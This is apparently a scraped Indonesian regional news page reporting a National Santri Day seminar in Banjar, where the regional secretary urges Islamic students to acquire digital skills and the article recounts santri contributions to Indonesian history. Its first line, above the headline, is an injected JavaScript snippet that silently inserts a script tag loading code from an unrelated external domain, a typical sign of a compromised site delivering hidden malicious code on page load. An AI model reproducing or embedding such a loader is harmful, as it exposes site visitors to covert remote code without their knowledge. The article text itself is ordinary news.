(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Santri di Tengah Era Digital Hukumnya ‘Wajib’ Punya Keterampilan


MARTAPURA, Kapan dan dimanapun, seorang santri kiprahnya tetap mendapat eksistensi dalam masyarakat, bahkan pula menyumbangkan kemajuan negara terutama menjaga moral dan akhlak bangsa ini.

Hal tersebut disampaikan Sekretaris Daerah Banjar H Nasrunsyah saat seminar sehari memperingati Hari Santri Nasional di Kabupaten Banjar, bertempat di Mahligai Sultan Adam, Minggu (22/10).

“Hari ini santri juga hidup di tengah dunia digital yang tidak bisa dihindari. Internet adalah bingkisan kecil dari kemajuan nalar yang menghubungkan manusia sejagat dalam dunia maya. Internet punya aspek manfaat dan mudharat yang sama-sama besar. Internet telah digunakan untuk menyebarkan pesan-pesan kebaikan dan dakwah Islam, tetapi juga digunakan untuk merusak harga diri dan martabat seseorang dengan fitnah dan berita hoax,” beber Nasrunsyah.

Maka itu, santri perlu ‘memperalat’ teknologi informasi sebagai media dakwah dan sarana menyebarkan kebaikan dan kemaslahatan serta mereduksi penggunaannya yang tidak sejalan dengan upaya untuk menjaga agama, jiwa, nalar, harta, keluarga, dan martabat seseorang.

“Saat ini yang terpenting adalah pemerintah dalam pengembangan Pondok Pesantren sebagai tempat pendidikan santri sangat membutuhkan ketrampilan, sebab itu sebagai langkah memajukan kondisi kelembagaan pesantren di Kalimantan Selatan khususnya Kabupaten Banjar,” imbuhnya.

“Seorang santri harus selalu mampu mempertahankan kemampuan, keahlian dan menjadi santri yang berakhlakul karimah, ini yang terpenting,” tegasnya.

Bila menurut peringatan Hari Santri Nasional yang merupakan momentum besar bagi bangsa Indonesia, dilihat dari sejarah peran santri sangat besar terhadap terbentuknya Negara Kesatuan Republik Indonesia (NKRI). Akhirnya, banyak tokoh-tokoh santri yang menjadi legendaris tokoh bangsa Indonesia. Dari hasil kebersamaan dan kekompakan kyai/tokoh agama menjadikan bangsa Indonesia berhasil merebut kemerdekaan melalui proklamasi dengan cara kyai mewakafkan hidupnya untuk mempertahankan Kemerdekaan bersama santri dan masyarakat.

Hari Santri Nasional diresmikan oleh Presiden Joko Widodo sesuai dengan Inpres No. 22 Tahun 2015, tepat tanggal 22 Oktober dalam rangka mengenang resolusi jihad yang telah dilakukan oleh para tokoh ormas besar di Indonesia yakni NU (KH Hasyim Ays’ari), Muhammadiyah (KH Ahmad Dahlan), Persis (A Hasan), dan Al Irsyad (A Soorhati) untuk menolak dan mencegah kembali tentara kolonial Belanda ke Indonesia.

Seminar Hari Santri Nasional di Kabupaten Banjar. Foto : Yandi

Kiprah santri teruji dalam mengokohkan pilar-pilar NKRI berdasarkan Pancasila yang bersendikan Bhinneka Tunggal Ika. Santri berdiri di garda depan membentengi NKRI dari berbagai ancaman. Pada 1936, sebelum Indonesia merdeka, kaum santri menyatakan Nusantara sebagai Dârus Salâm. Pernyataan ini adalah legitimasi fikih berdirinya NKRI berdasarkan Pancasila. Tahun 1945, kaum santri setuju menghapuskan tujuh kata dalam Piagam Jakarta demi persatuan dan kesatuan bangsa. Tahun 1953, kaum santri memberi gelar Presiden Indonesia, Ir. Soekarno, sebagai Waliyyul Amri ad-Dlarûri bis Syaukah, pemimpin sah yang harus ditaati dan menyebut para pemberontak  DI/TII sebagai bughat yang harus diperangi.

Tahun 1965, kaum santri berdiri di garda depan menghadapi rongrongan ideologi komunisme. Tahun 1983/1984, kaum santri memelopori penerimaan Pancasila sebagai satu-satunya asas dalam kehidupan berbangsa-bernegara dan menyatakan bahwa NKRI sudah final sebagai konsensus nasional (mu’âhadah wathaniyyah). Selepas Reformasi, kaum santri menjadi bandul kekuataan moderat sehingga perubahan konstitusi tidak melenceng dari khittah 1945 bahwa NKRI adalah negara-bangsa, bukan negara agama, bukan negara suku- yang mengakui seluruh warga negara memiliki hak dan kewajiban yang sama, tanpa diskriminasi berdasarkan suku, ras, agama, dan golongan.(yandi)


Desy Arfianty

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

6 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

7 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

7 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

8 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

12 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

12 jam ago

This website uses cookies.